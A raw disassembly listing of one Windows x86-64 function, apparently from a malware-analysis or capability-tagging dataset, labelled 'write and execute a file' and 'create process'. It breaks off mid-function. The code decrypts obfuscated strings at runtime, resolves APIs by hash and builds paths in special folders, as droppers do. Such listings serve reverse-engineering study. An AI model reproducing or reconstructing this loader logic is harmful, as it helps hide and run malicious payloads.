Function at 0x1400311b0
Capabilities:
Create process on windows
Get common file path
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1748
call fcn.140009ba4
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x16b0], xmm6
call fcn.1400049f0
call qword [0x140041040]
mov rax, qword [rax]
mov rbx, qword [rax]
mov rcx, rbx
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov rdi, rax
lea r15, [rbp + 0x1321]
cmp rax, 0x17
jae 0x140031222
lea eax, [rdi + rdi]
mov byte [rbp + 0x1320], al
lea rsi, [rbp + 0x1321]
test rdi, rdi
jne 0x14003124e
jmp 0x14003125c
mov r14, rdi
or r14, 0xf
lea rcx, [r14 + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x1330], rax
add r14, 2
mov qword [rbp + 0x1320], r14
mov qword [rbp + 0x1328], rdi
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call sub.msvcrt.dll_memmove
mov byte [rsi + rdi], 0
mov word [rbp + 0x820], 0
movzx eax, byte [rbp + 0x1320]
mov edi, eax
shr edi, 1
test al, 1
mov rbx, qword [rbp + 0x1330]
cmove rbx, r15
cmovne rdi, qword [rbp + 0x1328]
test rdi, rdi
je 0x1400312ba
xor r14d, r14d
mov r15, qword [sym.imp.msvcrt.dll_toupper]
lea rsi, [rbp + 0x820]
nop
movsx ecx, byte [rbx + r14]
call r15
mov rcx, rsi
mov edx, eax
call fcn.140003550
inc r14
cmp rdi, r14
jne 0x1400312a0
mov r14, qword [0x140244af8]
mov rcx, r14
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov rbx, rax
lea r15, [rbp + 0xf01]
cmp rax, 0x17
jae 0x1400312fa
lea eax, [rbx + rbx]
mov byte [rbp + 0xf00], al
lea rsi, [rbp + 0xf01]
test rbx, rbx
jne 0x140031326
jmp 0x140031334
mov rdi, rbx
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0xf10], rax
add rdi, 2
mov qword [rbp + 0xf00], rdi
mov qword [rbp + 0xf08], rbx
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll_memmove
mov byte [rsi + rbx], 0
mov word [rbp + 0x1110], 0
movzx eax, byte [rbp + 0xf00]
mov edi, eax
shr edi, 1
test al, 1
mov rbx, qword [rbp + 0xf10]
cmove rbx, r15
cmovne rdi, qword [rbp + 0xf08]
test rdi, rdi
je 0x1400313a3
xor r14d, r14d
mov r15, qword [sym.imp.msvcrt.dll_toupper]
lea rsi, [rbp + 0x1110]
nop word [rax + rax]
movsx ecx, byte [rbx + r14]
call r15
mov rcx, rsi
mov edx, eax
call fcn.140003550
inc r14
cmp rdi, r14
jne 0x140031380
movzx ebx, byte [rbp + 0x1110]
jmp 0x1400313a5
xor ebx, ebx
lea rdx, [rbp + 0x1111]
movzx r8d, byte [rbp + 0x820]
test r8b, 1
je 0x1400313c3
mov rdi, qword [rbp + 0x830]
jmp 0x1400313ca
lea rdi, [rbp + 0x821]
mov eax, ebx
shr al, 1
test bl, 1
mov rcx, qword [rbp + 0x1120]
mov r15, rcx
cmove r15, rdx
movzx r12d, al
cmovne r12, qword [rbp + 0x1118]
test r12, r12
je 0x140031406
test r8b, 1
mov qword [rbp + 0x1688], rcx
je 0x140031416
mov r8, qword [rbp + 0x828]
jmp 0x140031419
xor esi, esi
lea r15, [rbp + 0xf01]
test bl, 1
jne 0x140031450
jmp 0x140031455
shr r8d, 1
lea r14, [rdi + r8]
cmp r8, r12
jge 0x140031839
mov rax, r14
mov r13, r14
sub rax, rdi
cmp r13, r14
mov rsi, 0xffffffffffffffff
cmovne rsi, rax
lea r15, [rbp + 0xf01]
mov rcx, qword [rbp + 0x1688]
test bl, 1
je 0x140031455
call fcn.140001680
test byte [rbp + 0xf00], 1
jne 0x140031771
test byte [rbp + 0x820], 1
jne 0x14003178a
test byte [rbp + 0x1320], 1
jne 0x1400317a3
cmp rsi, 0xffffffffffffffff
je 0x1400317b9
cmp byte [0x1402443a8], 0
je 0x140034729
cmp byte [0x140244696], 0
je 0x140031565
movdqa xmm0, xmmword [str.WWWWWWWW]
movdqa xmm1, xmmword [0x140244640]
paddw xmm1, xmm0
movdqa xmm2, xmmword [0x14003d800]
pand xmm1, xmm2
movdqa xmmword [0x140244640], xmm1
movdqa xmm1, xmmword [0x140244650]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x140244650], xmm1
movdqa xmm1, xmmword [0x140244660]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x140244660], xmm1
movdqa xmm1, xmmword [0x140244670]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x140244670], xmm1
paddw xmm0, xmmword [0x140244680]
pand xmm0, xmm2
movdqa xmmword [0x140244680], xmm0
mov eax, dword [0x140244690]
add eax, 0x57
movzx eax, al
mov word [0x140244690], ax
movzx eax, word [0x140244692]
add eax, 0x57
movzx eax, al
mov word [0x140244692], ax
mov eax, dword [0x140244694]
add eax, 0x57
movzx eax, al
mov word [0x140244694], ax
mov byte [0x140244696], 0
mov qword [rbp + 0x1640], 0
lea rsi, [0x140244640]
mov rcx, rsi
call sub.msvcrt.dll_wcslen
lea ecx, [rax*2 + 2]
add eax, eax
mov word [rbp + 0x1642], cx
mov word [rbp + 0x1640], ax
mov qword [rbp + 0x1648], rsi
mov dword [rbp + 0x1560], 0x30
mov qword [rbp + 0x1568], 0
mov dword [rbp + 0x1578], 0
lea rax, [rbp + 0x1640]
mov qword [rbp + 0x1570], rax
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x1580], xmm0
lea rcx, [rbp + 0x1530]
lea r8, [rbp + 0x1560]
mov edx, 0x1f0001
mov r9b, 1
call fcn.14000153f
test eax, eax
js 0x1400346c4
mov qword [rbp + 0x820], 0
lea r8, [rbp + 0x820]
mov rcx, 0xffffffffffffffff
mov edx, 8
call fcn.140001503
mov dword [rbp + 0x1110], 0
mov rcx, qword [rbp + 0x820]
test rcx, rcx
je 0x140031665
lea rax, [rbp + 0x1110]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x1320]
mov edx, 0x14
mov r9d, 4
call fcn.14000156c
test eax, eax
js 0x140031665
mov rcx, qword [rbp + 0x820]
call fcn.14000145e
mov ecx, 0x866a816a
call fcn.140034cf0
mov r12d, eax
mov rbx, qword gs:[r12]
mov rax, qword [rbx + 0x20]
mov rdi, qword [rax + 0x80]
lea rsi, [rbp + 0x1320]
mov r8d, 0x208
mov rcx, rsi
xor edx, edx
call sub.msvcrt.dll_memset
mov rax, qword [rbx + 0x20]
mov rdx, qword [rax + 0x68]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
lea rcx, [rbp + 0x1110]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443a9], 0
je 0x1400347ae
cmp byte [0x1402446b8], 0
je 0x14003171a
movdqa xmm0, xmmword [0x1402446a0]
paddw xmm0, xmmword [0x14003d820]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x1402446a0], xmm0
movq xmm0, qword [0x1402446b0]
paddw xmm0, xmmword [0x14003d830]
pand xmm0, xmmword [0x14003d840]
movq qword [0x1402446b0], xmm0
mov byte [0x1402446b8], 0
lea rcx, [0x1402446a0]
call sub.msvcrt.dll_wcslen
cmp word [rdi], 0
je 0x140031dbf
mov rbx, rax
lea r14, [0x1402446a0]
xor esi, esi
mov r15, rdi
nop
mov rcx, r15
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll__wcsnicmp
test eax, eax
je 0x1400321fd
mov rcx, r15
call sub.msvcrt.dll_wcslen
cmp word [r15 + rax*2 + 2], 0
lea r15, [r15 + rax*2 + 2]
jne 0x140031740
jmp 0x140031dc1
mov rcx, qword [rbp + 0xf10]
call fcn.140001680
test byte [rbp + 0x820], 1
je 0x14003146f
mov rcx, qword [rbp + 0x830]
call fcn.140001680
test byte [rbp + 0x1320], 1
je 0x14003147c
mov rcx, qword [rbp + 0x1330]
call fcn.140001680
cmp rsi, 0xffffffffffffffff
jne 0x140031486
cmp byte [0x1402443b8], 0
je 0x140034afe
cmp byte [0x140244a7e], 0
je 0x1400317e4
add byte [0x140244a7c], 0xe5
add byte [0x140244a7d], 0xe5
mov byte [0x140244a7e], 0
lea rsi, [rbp + 0x820]
xor ecx, ecx
mov rdx, rsi
mov r8d, 0x1a
xor r9d, r9d
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov rcx, rsi
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r14, rax
cmp rax, 0x17
jae 0x14003188b
lea eax, [r14 + r14]
mov byte [rbp + 0x1110], al
lea rsi, [rbp + 0x1111]
test r14, r14
jne 0x1400318b7
jmp 0x1400318c9
movsx esi, byte [r15]
mov r13, rdi
sub r8, r12
inc r8
je 0x140031426
mov rcx, r13
mov edx, esi
call sub.msvcrt.dll_memchr
test rax, rax
je 0x140031426
mov r13, rax
mov rcx, rax
mov rdx, r15
mov r8, r12
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x140032f8d
inc r13
mov r8, r14
sub r8, r13
cmp r8, r12
jge 0x140031840
jmp 0x140031426
mov rdi, r14
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x1120], rax
add rdi, 2
mov qword [rbp + 0x1110], rdi
mov qword [rbp + 0x1118], r14
lea rdx, [rbp + 0x820]
mov rcx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov byte [rsi + r14], 0
lea rcx, [0x140244a7c]
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r14, rax
cmp rax, 0x17
jae 0x140031905
lea eax, [r14 + r14]
mov byte [rbp + 0xf00], al
lea rsi, [rbp + 0xf01]
test r14, r14
jne 0x140031931
jmp 0x140031943
mov rdi, r14
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0xf10], rax
add rdi, 2
mov qword [rbp + 0xf00], rdi
mov qword [rbp + 0xf08], r14
lea rdx, [0x140244a7c]
mov rcx, rsi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov byte [rsi + r14], 0
movzx eax, byte [rbp + 0xf00]
mov r8d, eax
shr r8d, 1
test al, 1
mov rdx, qword [rbp + 0xf10]
cmove rdx, r15
cmovne r8, qword [rbp + 0xf08]
lea rcx, [rbp + 0x1110]
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x1330], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x1320], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov r12, qword [0x140244af8]
mov rcx, r12
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r15, rax
lea r14, [rbp + 0xcf1]
cmp rax, 0x17
jae 0x1400319de
lea eax, [r15 + r15]
mov byte [rbp + 0xcf0], al
lea rsi, [rbp + 0xcf1]
test r15, r15
jne 0x140031a0a
jmp 0x140031a18
mov rdi, r15
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0xd00], rax
add rdi, 2
mov qword [rbp + 0xcf0], rdi
mov qword [rbp + 0xcf8], r15
mov rcx, rsi
mov rdx, r12
mov r8, r15
call sub.msvcrt.dll_memmove
mov byte [rsi + r15], 0
movzx eax, byte [rbp + 0xcf0]
mov r8d, eax
shr r8d, 1
test al, 1
mov rdx, qword [rbp + 0xd00]
cmove rdx, r14
cmovne r8, qword [rbp + 0xcf8]
lea rcx, [rbp + 0x1320]
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x830], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x820], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
mov r13, qword [0x140244af0]
mov rcx, r13
call sub.msvcrt.dll_strlen
cmp rax, 0xfffffffffffffff0
jae 0x14003471a
mov r12, rax
lea r15, [rbp + 0x611]
cmp rax, 0x17
jae 0x140031aaf
lea eax, [r12 + r12]
mov byte [rbp + 0x610], al
mov rsi, r15
test r12, r12
jne 0x140031adb
jmp 0x140031ae9
mov rdi, r12
or rdi, 0xf
lea rcx, [rdi + 1]
call fcn.140001610
mov rsi, rax
mov qword [rbp + 0x620], rax
add rdi, 2
mov qword [rbp + 0x610], rdi
mov qword [rbp + 0x618], r12
mov rcx, rsi
mov rdx, r13
mov r8, r12
call sub.msvcrt.dll_memmove
mov byte [rsi + r12], 0
movzx eax, byte [rbp + 0x610]
mov r8d, eax
shr r8d, 1
test al, 1
cmovne r15, qword [rbp + 0x620]
cmovne r8, qword [rbp + 0x618]
lea rcx, [rbp + 0x820]
mov rdx, r15
call fcn.1400033d0
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x410], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x400], xmm0
pxor xmm0, xmm0
movdqu xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rbp + 0x610], 1
jne 0x140031ca5
test byte [rbp + 0x820], 1
jne 0x140031cbe
test byte [rbp + 0xcf0], 1
jne 0x140031cd7
test byte [rbp + 0x1320], 1
jne 0x140031cf0
test byte [rbp + 0xf00], 1
jne 0x140031d09
test byte [rbp + 0x1110], 1
jne 0x140031d22
cmp byte [0x1402443b9], 0
je 0x140031d3b
cmp byte [0x140244a9a], 0
je 0x140031bec
movdqa xmm0, xmmword [0x140244a80]
paddb xmm0, xmmword [str.aaaaaaaaaaaaaaaaaaaaaaaa]
movdqa xmmword [0x140244a80], xmm0
movq xmm0, qword [0x140244a90]
paddb xmm0, xmmword [0x14003da40]
movq qword [0x140244a90], xmm0
add byte [0x140244a98], 0x61
add byte [0x140244a99], 0x61
mov byte [0x140244a9a], 0
cmp byte [0x1402443ba], 0
je 0x140034b33
cmp byte [0x140244aa8], 0
je 0x140031c21
movq xmm0, qword [0x140244aa0]
paddb xmm0, xmmword [0x14003da50]
movq qword [0x140244aa0], xmm0
mov byte [0x140244aa8], 0
cmp byte [0x1402443bb], 0
je 0x140034b70
cmp byte [0x140244abd], 0
je 0x140031c75
movq xmm0, qword [0x140244ab0]
paddb xmm0, xmmword [0x14003da60]
movq qword [0x140244ab0], xmm0
movq xmm0, qword [0x140244ab8]
paddb xmm0, xmmword [0x14003da70]
movd dword [0x140244ab8], xmm0
add byte [0x140244abc], 0x25
mov byte [0x140244abd], 0
test byte [rbp + 0x400], 1
jne 0x140031d91
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x1670], rax
movdqa xmm0, xmmword [rbp + 0x400]
movdqa xmmword [rbp + 0x1660], xmm0
jmp 0x140032a30
mov rcx, qword [rbp + 0x620]
call fcn.140001680
test byte [rbp + 0x820], 1
je 0x140031b5d
mov rcx, qword [rbp + 0x830]
call fcn.140001680
test byte [rbp + 0xcf0], 1
je 0x140031b6a
mov rcx, qword [rbp + 0xd00]
call fcn.140001680
test byte [rbp + 0x1320], 1
je 0x140031b77
mov rcx, qword [rbp + 0x1330]
call fcn.140001680
test byte [rbp + 0xf00], 1
je 0x140031b84
mov rcx, qword [rbp + 0xf10]
call fcn.140001680
test byte [rbp + 0x1110], 1
je 0x140031b91
mov rcx, qword [rbp + 0x1120]
call fcn.140001680
cmp byte [0x1402443b9], 0
jne 0x140031b9e
mov byte [0x140244a9a], 1
movdqa xmm0, xmmword [0x14003da20]
movdqa xmmword [0x140244a80], xmm0
movabs rax, 0xbfedf3cebfe4f3e0
mov qword [0x140244a90], rax
mov word [0x140244a98], 0x9fc1
lea rcx, [0x140034ca0]
call fcn.140001370
mov byte [0x1402443b9], 1
cmp byte [0x140244a9a], 0
jne 0x140031ba7
jmp 0x140031bec
mov r15, qword [rbp + 0x408]
mov rsi, qword [rbp + 0x410]
cmp r15, 0x16
ja 0x1400329ec
lea rcx, [rbp + 0x1661]
lea eax, [r15 + r15]
mov byte [rbp + 0x1660], al
jmp 0x140032a22
xor esi, esi
cmp byte [0x1402443aa], 0
je 0x14003220e
cmp byte [0x1402446d4], 0
je 0x140031e1e
movdqa xmm0, xmmword [0x1402446c0]
paddw xmm0, xmmword [0x14003d820]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x1402446c0], xmm0
movdqa xmm0, xmmword [0x1402446d0]
paddw xmm0, xmmword [0x14003d860]
pand xmm0, xmmword [0x14003d870]
movd dword [0x1402446d0], xmm0
mov byte [0x1402446d4], 0
lea rbx, [rbp + 0x1110]
mov rcx, rbx
mov rdx, rsi
call sub.msvcrt.dll_wcscpy
lea rdx, [0x1402446c0]
mov rcx, rbx
call sub.msvcrt.dll_wcscat
lea rcx, [rbp + 0xf00]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443ab], 0
je 0x1400347fb
cmp byte [0x14024472e], 0
je 0x140031f68
movdqa xmm0, xmmword [0x14003d880]
movdqa xmm1, xmmword [0x1402446e0]
paddw xmm1, xmm0
movdqa xmm2, xmmword [0x14003d800]
pand xmm1, xmm2
movdqa xmmword [0x1402446e0], xmm1
movdqa xmm1, xmmword [0x1402446f0]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x1402446f0], xmm1
movdqa xmm1, xmmword [0x140244700]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x140244700], xmm1
paddw xmm0, xmmword [0x140244710]
pand xmm0, xmm2
movdqa xmmword [0x140244710], xmm0
mov eax, dword [0x140244720]
add eax, 0x2b
movzx eax, al
mov word [0x140244720], ax
movzx eax, word [0x140244722]
add eax, 0x2b
movzx eax, al
mov word [0x140244722], ax
mov eax, dword [0x140244724]
add eax, 0x2b
movzx eax, al
mov word [0x140244724], ax
movzx eax, word [0x140244726]
add eax, 0x2b
movzx eax, al
mov word [0x140244726], ax
mov eax, dword [0x140244728]
add eax, 0x2b
movzx eax, al
mov word [0x140244728], ax
movzx eax, word [0x14024472a]
add eax, 0x2b
movzx eax, al
mov word [0x14024472a], ax
mov eax, dword [0x14024472c]
add eax, 0x2b
movzx eax, al
mov word [0x14024472c], ax
mov byte [0x14024472e], 0
lea rsi, [rbp + 0xf00]
lea rdx, [rbp + 0x1110]
mov rcx, rsi
call sub.msvcrt.dll_wcscpy
lea rdx, [0x1402446e0]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
lea rcx, [rbp + 0xcf0]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443ac], 0
je 0x14003486f
cmp byte [0x140244742], 0
je 0x140031ff1
movdqa xmm0, xmmword [0x140244730]
paddw xmm0, xmmword [0x14003d8a0]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x140244730], xmm0
mov eax, dword [0x140244740]
add eax, 0x5d
movzx eax, al
mov word [0x140244740], ax
mov byte [0x140244742], 0
lea rsi, [rbp + 0xcf0]
lea rdx, [rbp + 0x1110]
mov rcx, rsi
call sub.msvcrt.dll_wcscpy
lea rdx, [0x140244730]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
lea rcx, [rbp + 0x610]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443ad], 0
je 0x1400348b4
cmp byte [0x14024476a], 0
je 0x14003209a
movdqa xmm0, xmmword [0x140244750]
paddw xmm0, xmmword [0x14003d8c0]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x140244750], xmm0
movq xmm0, qword [0x140244760]
paddw xmm0, xmmword [0x14003d8d0]
pand xmm0, xmmword [0x14003d840]
movq qword [0x140244760], xmm0
mov eax, dword [0x140244768]
add eax, 0xb
movzx eax, al
mov word [0x140244768], ax
mov byte [0x14024476a], 0
lea rsi, [rbp + 0x610]
lea rdx, [rbp + 0x1110]
mov rcx, rsi
call sub.msvcrt.dll_wcscpy
lea rdx, [0x140244750]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
lea rcx, [rbp + 0x400]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443ae], 0
je 0x14003490a
cmp byte [0x140244780], 0
je 0x140032110
movdqa xmm0, xmmword [0x140244770]
paddw xmm0, xmmword [0x14003d8f0]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x140244770], xmm0
mov byte [0x140244780], 0
lea rsi, [rbp + 0x400]
lea r15, [rbp + 0x1110]
mov rcx, rsi
mov rdx, r15
call sub.msvcrt.dll_wcscpy
lea rdx, [0x140244770]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
lea rcx, [rbp - 0x20]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443af], 0
je 0x140034946
cmp byte [0x1402447a8], 0
je 0x1400321a6
movdqa xmm0, xmmword [0x140244790]
paddw xmm0, xmmword [0x14003d910]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x140244790], xmm0
movq xmm0, qword [0x1402447a0]
paddw xmm0, xmmword [0x14003d920]
pand xmm0, xmmword [0x14003d840]
movq qword [0x1402447a0], xmm0
mov byte [0x1402447a8], 0
lea rcx, [0x140244790]
call sub.msvcrt.dll_wcslen
cmp word [rdi], 0
je 0x1400321f9
mov rbx, rax
lea r14, [0x140244790]
xor esi, esi
nop word cs:[rax + rax]
mov rcx, rdi
mov rdx, r14
mov r8, rbx
call sub.msvcrt.dll__wcsnicmp
test eax, eax
je 0x140032254
mov rcx, rdi
call sub.msvcrt.dll_wcslen
cmp word [rdi + rax*2 + 2], 0
lea rdi, [rdi + rax*2 + 2]
jne 0x1400321d0
jmp 0x140032258
xor esi, esi
jmp 0x140032258
lea rsi, [r15 + rbx*2]
cmp byte [0x1402443aa], 0
jne 0x140031dce
mov byte [0x1402446d4], 1
movdqa xmm0, xmmword [0x14003d850]
movdqa xmmword [0x1402446c0], xmm0
mov dword [0x1402446d0], 0x430075
lea rcx, [0x140031060]
call fcn.140001370
mov byte [0x1402443aa], 1
cmp byte [0x1402446d4], 0
jne 0x140031dd7
jmp 0x140031e1e
lea rsi, [rdi + rbx*2]
lea rcx, [rbp - 0x20]
mov rdx, rsi
call sub.msvcrt.dll_wcscat
lea rcx, [rbp + 0x1f0]
mov r8d, 0x208
xor edx, edx
call sub.msvcrt.dll_memset
cmp byte [0x1402443b0], 0
je 0x140034993
cmp byte [0x1402447cc], 0
je 0x1400322f5
movdqa xmm0, xmmword [0x1402447b0]
paddw xmm0, xmmword [0x14003d8a0]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x1402447b0], xmm0
movq xmm0, qword [0x1402447c0]
paddw xmm0, xmmword [0x14003d940]
pand xmm0, xmmword [0x14003d840]
movq qword [0x1402447c0], xmm0
movq xmm0, qword [0x1402447c8]
paddw xmm0, xmmword [0x14003d950]
pand xmm0, xmmword [0x14003d870]
movd dword [0x1402447c8], xmm0
mov byte [0x1402447cc], 0
lea rsi, [rbp + 0x1f0]
lea rdx, [rbp - 0x20]
mov rcx, rsi
call sub.msvcrt.dll_wcscpy
lea rdx, [0x1402447b0]
mov rcx, rsi
call sub.msvcrt.dll_wcscat
cmp byte [0x1402443b1], 0
je 0x1400349ea
cmp byte [0x140244816], 0
je 0x1400323e2
movdqa xmm0, xmmword [0x14003d9a0]
movdqa xmm1, xmmword [0x1402447d0]
paddw xmm1, xmm0
movdqa xmm2, xmmword [0x14003d800]
pand xmm1, xmm2
movdqa xmmword [0x1402447d0], xmm1
movdqa xmm1, xmmword [0x1402447e0]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x1402447e0], xmm1
movdqa xmm1, xmmword [0x1402447f0]
paddw xmm1, xmm0
pand xmm1, xmm2
movdqa xmmword [0x1402447f0], xmm1
paddw xmm0, xmmword [0x140244800]
pand xmm0, xmm2
movdqa xmmword [0x140244800], xmm0
mov eax, 0x9b
mov ecx, dword [0x140244810]
add ecx, eax
movzx ecx, cl
mov word [0x140244810], cx
movzx ecx, word [0x140244812]
add ecx, 0x9b
movzx ecx, cl
mov word [0x140244812], cx
add eax, dword [0x140244814]
movzx eax, al
mov word [0x140244814], ax
mov byte [0x140244816], 0
movzx ebx, byte [0x140244b08]
xor eax, eax
test bl, bl
mov r14d, 0x202600
cmove r14, rax
cmp byte [0x1402443b2], 0
je 0x140034a63
cmp byte [0x14024483a], 0
je 0x140032469
movdqa xmm0, xmmword [0x140244820]
paddw xmm0, xmmword [0x14003d9a0]
pand xmm0, xmmword [0x14003d800]
movdqa xmmword [0x140244820], xmm0
movq xmm0, qword [0x140244830]
paddw xmm0, xmmword [0x14003d9c0]
pand xmm0, xmmword [0x14003d840]
movq qword [0x140244830], xmm0
mov eax, 0x9b
add eax, dword [0x140244838]
movzx eax, al
mov word [0x140244838], ax
mov byte [0x14024483a], 0
cmp byte [0x1402443b3], 0
je 0x140034ab9
cmp byte [0x140244a3c], 0
je 0x140032887
movdqa xmm0, xmmword [0x14003d9a0]
movdqa xmm2, xmmword [0x140244840]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244850]
paddw xmm3, xmm0
movdqa xmm1, xmmword [0x14003d800]
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244840], xmm2
movdqa xmmword [0x140244850], xmm3
movdqa xmm2, xmmword [0x140244860]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244870]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244860], xmm2
movdqa xmmword [0x140244870], xmm3
movdqa xmm2, xmmword [0x140244880]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244890]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244880], xmm2
movdqa xmmword [0x140244890], xmm3
movdqa xmm2, xmmword [0x1402448a0]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x1402448b0]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x1402448a0], xmm2
movdqa xmmword [0x1402448b0], xmm3
movdqa xmm2, xmmword [0x1402448c0]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x1402448d0]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x1402448c0], xmm2
movdqa xmmword [0x1402448d0], xmm3
movdqa xmm2, xmmword [0x1402448e0]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x1402448f0]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x1402448e0], xmm2
movdqa xmmword [0x1402448f0], xmm3
movdqa xmm2, xmmword [0x140244900]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244910]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244900], xmm2
movdqa xmmword [0x140244910], xmm3
movdqa xmm2, xmmword [0x140244920]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244930]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244920], xmm2
movdqa xmmword [0x140244930], xmm3
movdqa xmm2, xmmword [0x140244940]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244950]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244940], xmm2
movdqa xmmword [0x140244950], xmm3
movdqa xmm2, xmmword [0x140244960]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244970]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244960], xmm2
movdqa xmmword [0x140244970], xmm3
movdqa xmm2, xmmword [0x140244980]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x140244990]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x140244980], xmm2
movdqa xmmword [0x140244990], xmm3
movdqa xmm2, xmmword [0x1402449a0]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x1402449b0]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x1402449a0], xmm2
movdqa xmmword [0x1402449b0], xmm3
movdqa xmm2, xmmword [0x1402449c0]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x1402449d0]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x1402449c0], xmm2
movdqa xmmword [0x1402449d0], xmm3
movdqa xmm2, xmmword [0x1402449e0]
paddw xmm2, xmm0
movdqa xmm3, xmmword [0x1402449f0]
paddw xmm3, xmm0
pand xmm2, xmm1
pand xmm3, xmm1
movdqa xmmword [0x1402449e0], xmm2
movdqa xmmword [0x1402449f0], xmm3
movdqa xmm2, xmmword [0x140244a00]
paddw xmm2, xmm0
paddw xmm0, xmmword [0x140244a10]
pand xmm2, xmm1
pand xmm0, xmm1
movdqa xmmword [0x140244a00], xmm2
movdqa xmmword [0x140244a10], xmm0
mov eax, 0x9b
mov ecx, dword [0x140244a20]
add ecx, eax
movzx ecx, cl
mov word [0x140244a20], cx
movzx ecx, word [0x140244a22]
add ecx, 0x9b
movzx ecx, cl
mov word [0x140244a22], cx
mov ecx, dword [0x140244a24]
add ecx, eax
movzx ecx, cl
mov word [0x140244a24], cx
movzx ecx, word [0x140244a26]
